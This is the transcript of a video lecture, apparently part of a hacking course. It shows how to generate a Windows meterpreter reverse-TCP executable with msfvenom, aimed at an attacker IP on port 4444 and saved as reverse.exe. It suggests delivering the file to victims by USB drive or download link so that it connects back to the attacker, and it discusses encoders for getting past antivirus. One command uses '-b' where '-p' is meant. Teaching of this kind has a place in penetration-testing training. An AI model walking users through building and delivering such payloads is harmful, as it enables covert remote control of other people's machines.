Hello everybody
and welcome back.
And let us see some of the examples of actually crafting the payload for the Windows meterpreter shell.
So, we already were introduced to the MSF Venom tool which allows us to create our own payloads,
but
we only did that in the PHP meterpreter attack where we executed the meterpreter shell with the command
injection and PHP code injection. But right now let's see how you can hack any Windows machine
with delivering the payload over
a USB drive, or basically just sending a link to someone for someone to download. And when they
execute it they automatically connect back to you.
So, this will be an attack that is based on
every version of Windows,
and as a target we will use my Windows 10 host machine.
Now Windows 10 is the newest Windows version, so you will see that it works even on the newest one,
since it is a payload that gets executed by the target.
So they have to open it in order for them to connect back to us.
So, first of all, what we want to do is basically just type here msfvenom, and we will get a bunch of
these options that we need to use in order to specify some of the things that our payload will have.
So we were already introduced to
some of them such as LHOST, LPORT and -p for the payload. As we can see, these are options that
we always specify,
so what type of payload we want. After that we specify some of the payload options such as the local
host which is the IP address of our Kali Linux machine, and local port which is the listening port
our Kali Linux machine.
Now the IP address is basically the output of ifconfig, and the local port can be any port you specify
that isn't actually used.
So, by default, as I said, Metasploit chooses the port 4444.
So we will stick with that.
So, let us actually just open up our msfconsole for a second to see what are our available payloads.
Now in order to craft the payload you need to know the name of the payload itself.
So, the most used one is the windows/meterpreter/reverse_tcp since it actually connects back
to us over TCP, and allows us to run our commands over meterpreter shell. But, that is not the only
payload that is used for Windows.
There are a bunch of others. We will just type here search windows payloads.
So let me just...
or we can just type here search payloads. And what we will do,
let me just first zoom in on this.
so it looks a little bit prettier.
We want to find...
Windows, Windows, right.
These are not payloads, search payloads.
So let me see if I type here search payload, OK, payload.
Okay, so here they are.
Let me just zoom out once again, and we can see all of the payloads for all operating systems. So this
is not only for Windows.
This is basically also for Linux, or you can see here
PHP as well. Let me just show you.
There is the payload that we used in the previous videos.
So php/meterpreter/reverse_tcp, so this is the payload that we are already familiar with. But what we
want to do now is search payload/windows and then press enter,
and so we only get the Windows payloads right here.
Now most of these you will most likely never use.
As I said, the most important ones, and the ones that we will use right now, are these two.
So, windows/x64/meterpreter_reverse_tcp.
Now that is the meterpreter payload for the x64 or 64 bit Windows.
And we also need the Windows meterpreter regular shell.
So that is the, let me just find it...
reverse TCP, here it is.
So this is the regular one for the 32 bit windows.
Now you will see that it does matter which one you use.
But, basically, if you use a 32 bit on 64 bit machine it won't make such a problem, unless we are running
our Eternal Blue exploit which I will show you later.
But if you just run a simple payload as an executable the target executes, you can both use a 64 bit and
32 bit on a 64 bit machine. But you will not be able to run a 64 bit meterpreter shell on a
32 bit machine.
So that is also useful to know.
The one that we will use is this one.
So let us just copy it since that is the payload that we will use.
And right now let us exit the msfconsole, and let me just zoom it in once again so you can see
better. And let's type here,
msfvenom --help, once again. We want to use this option.
The next option that we can possibly use is the encoder. So we can encode our payload if we want to, basically,
it is not necessary.
It can actually bypass some anti viruses, but most of the encoders are actually old ones
so they are already familiar. I mean, anti-viruses are already familiar with them.
So it's not really that good to use them, but you can use them if you want to.
So let me just cd to the usr/share/metasploit-framework/modules/encoders,
cd x64...actually I want to go to cd x86,
and we can choose any encoder we want.
Now, the most important one is the shikata_ga_nai encoder, but that really basically doesn't do anything
since it is already well known by the antivirus companies.
First of all, since my Windows 10 machine is actually a 64 bit machine, I will use a 64
bit.
So let's see what we have here.
We will, for example, use this zutto_dekiru.rb,
so we will use that.
But, first of all, let me show you what it looks like when there is no encoder.
So msfvenom -b for the payload, and we want to use windows/x64/meterpreter/reverse_tcp
So, if you just select this it will basically
make a simple payload, I believe, without specifying the LHOST and LPORT.
Or, it may actually show you an error that you didn't specify it.
So we will specify it just in case.
Let me just check out, oops...
Let me just check out my IP address first, which is 192.168.1.4
So your IP address is the LHOST.
So let us type here once again.
So, msfvenom -b and then our payload, which I will use the windows/x64/meterpreter/reverse_tcp
Then we specify LHOST=192.168.1.4. Now that we did, that next thing we want
to specify is the LPORT.
Now, as I said, by default Metasploit uses 4444.
But, if you want to, you can change this since some systems actually block this port, since it is a
well known Metasploit port.
So it can be a bypass measure if you simply just change this port, though you do not
have to really.
We will stick with 4444 for now on. And what you want to type here is -f after that, and
then exe, which stands for the exe file. Then we specify the arrow to the right, and then we name
our shell, or reverse shell, or meterpreter shell. Whatever you want to call it. We will name it reverse.exe
reverse.exe
If we click enter right here it will create a shell for us.
Now, what you want to do,
basically, we will upload this in the next video to the virus total, which is a website that is
used to scan programs, or basically anti-viruses, in order to see how many anti-viruses detect this.
Now, let us just read this.
You can see the size of this. As we can see, the payload size is 510 bytes, and the final
size of the exe file is 7000 bytes.
So, if you just type here ls and you cat reverse.exe, basically, it will be
some scrambled code.
So, this is just how to create the simple payload for Windows. In the next lecture I'll show you how
detectable this is.
And it is, trust me, very detectable. Like 90% of antiviruses will catch this since it is something
that everyone that uses Kali Linux made at some point and used. And it is well known in the databases of
anti-viruses.
But we will see what actions we can take in order to make it less detectable using, for example, encoders,
or basically just editing the binary itself. But, more about that in the next video.
So I hope I see you there and take care. Bye!